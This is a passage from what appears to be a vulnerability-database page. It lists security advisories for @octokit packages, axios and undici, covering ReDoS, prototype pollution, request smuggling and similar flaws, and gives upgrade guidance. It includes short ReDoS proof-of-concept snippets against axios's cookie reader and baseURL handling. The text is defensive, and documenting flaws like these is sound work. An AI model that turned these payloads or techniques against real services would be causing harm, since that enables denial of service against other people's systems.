Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the globEscape function. An attacker can send specially crafted inputs that exploit inefficient regular expression complexity.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

A fix was pushed into the master branch but not yet published.

References

• GitHub Commit
• GitHub PR

Overview

@octokit/plugin-paginate-rest is an Octokit plugin to paginate REST API endpoint responses

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the octokit.paginate.iterator process. An attacker can cause significant performance degradation and potential service unresponsiveness by injecting a malicious Link header in the request.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @octokit/plugin-paginate-rest to version 9.2.2, 11.4.1 or higher.

References

• GitHub Commit
• GitHub Gist

Overview

@octokit/request is a Send parameterized requests to GitHub's APIs with sensible defaults in browsers and Node

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the link header processing. An attacker can cause excessive CPU usage and potentially make the server unresponsive by sending a specially crafted link header designed to trigger inefficient regex backtracking.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @octokit/request to version 8.4.1, 9.2.1 or higher.

References

• GitHub Commit
• GitHub Gist

Overview

@octokit/request-error is an Error class for Octokit request errors

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper handling of the authorization header. An attacker can cause excessive CPU usage and potentially freeze the server by sending a specially crafted authorization header containing a long sequence of spaces followed by a newline and "@".

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade @octokit/request-error to version 5.1.1, 6.1.7 or higher.

References

• GitHub Commit
• GitHub Gist

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data: URL handler. An attacker can trigger a denial of service by crafting a data: URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.

Remediation

Upgrade axios to version 0.30.0, 1.12.0 or higher.

References

• GitHub Commit

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the data.pipe(req) upload path in the HTTP adapter. An attacker can send a streamed request body larger than the configured maxBodyLength while maxRedirects is 0, causing the client to transmit the oversized payload to the server instead of stopping at the limit. This lets a remote peer force excessive bandwidth and request processing on applications that rely on maxBodyLength to cap upload size, potentially exhausting resources and disrupting service.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the HTTP response handling path in the http.js adapter. An attacker can force a client to accept and process a response body larger than maxContentLength by sending a streamed response with an oversized payload. This allows a remote server to bypass the configured response-size limit, causing the application to read and buffer more data than intended, potentially exhausting memory or stalling request processing.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the read function when attacker-controlled input is used as the cookie name parameter, which is interpolated into a regular expression without proper escaping. An attacker can cause excessive CPU consumption and freeze the browser tab by supplying specially crafted input that triggers catastrophic backtracking in the regex engine.

Note:

This is only exploitable if attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

Workaround

This vulnerability can be mitigated by setting the XSRF cookie name configuration to null if XSRF protection is not required, avoiding the use of attacker-controlled input for the cookie name, and validating cookie names against a strict allowlist before passing them to the relevant function.

PoC

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can deplete system resources by providing a manipulated string as input to the format method, causing the regular expression to exhibit a time complexity of O(n^2). This makes the server to become unable to provide normal service due to the excessive cost and time wasted in processing vulnerable regular expressions.

PoC

const axios = require('axios');

console.time('t1');
axios.defaults.baseURL = '/'.repeat(10000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t1');

console.time('t2');
axios.defaults.baseURL = '/'.repeat(100000) + 'a/';
axios.get('/a').then(()=>{}).catch(()=>{});
console.timeEnd('t2');


/* stdout
t1: 60.826ms
t2: 5.826s
*/

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.29.0, 1.6.3 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) through the AxiosHeaders normalization path and shouldBypassProxy helper. An attacker can smuggle CRLF and other control characters into request header values by supplying crafted header input, causing injected header fields to be sent on outbound requests and potentially altering how downstream servers interpret the request; in proxy configurations, a request to localhost, 127.0.0.1, or ::1 can be routed differently depending on the no_proxy entry, allowing loopback traffic to bypass the intended proxy handling.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Uncontrolled Recursion in the defaultVisitor function of lib/helpers/toFormData.js, which calls JSON.stringify() on a value when its top-level key ends in {}, before the maxDepth guard can inspect the nested structure. An attacker can crash the process by supplying an object with a top-level key ending in {} and thousands of levels of nesting, which native JSON.stringify() recurses through until the call stack overflows with a RangeError. Exploitation requires the application to pass untrusted input through axios as data or params, with a top-level key ending in {} and nesting beyond roughly 2500 to 3000 levels.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42039.

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to HTTP Request Smuggling in the processHeader() while handling HTTP/1.1 requests containing duplicate Content-Length headers with differing casing. An attacker can bypass access controls, poison caches, hijack credentials, or cause service disruption by sending specially crafted HTTP requests that are interpreted inconsistently by proxies and backend servers.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

• GitHub Commit
• HackerOne Report
• Red Hat Bugzilla Bug

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the encode function in AxiosURLSearchParams. An attacker can smuggle a NUL byte into serialized query strings by supplying crafted parameter values, causing downstream parsers or backend components to misinterpret the request and potentially truncate or alter parameter handling.

Notes: Standard axios request flow (buildURL) uses its own encode function, which does NOT have this bug. Only triggered via direct AxiosURLSearchParams.toString() without an encoder, or via custom paramsSerializer delegation

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via the mergeDirectKeys function in mergeConfig. An attacker can force a request configuration to inherit attacker-controlled properties by supplying a polluted Object.prototype, causing Axios to read inherited values, such as validateStatus, during config merging. This lets a malicious page or library alter how responses are handled, including making 4xx and 5xx responses be treated as successful and bypassing normal error handling in applications that rely on Axios defaults.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution via polluted Object.prototype properties in the merge process. An attacker can inject arbitrary HTTP headers into outbound requests or cause synchronous application crashes by manipulating upstream dependencies to pollute prototype attributes, leading to header injection or denial of service conditions.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

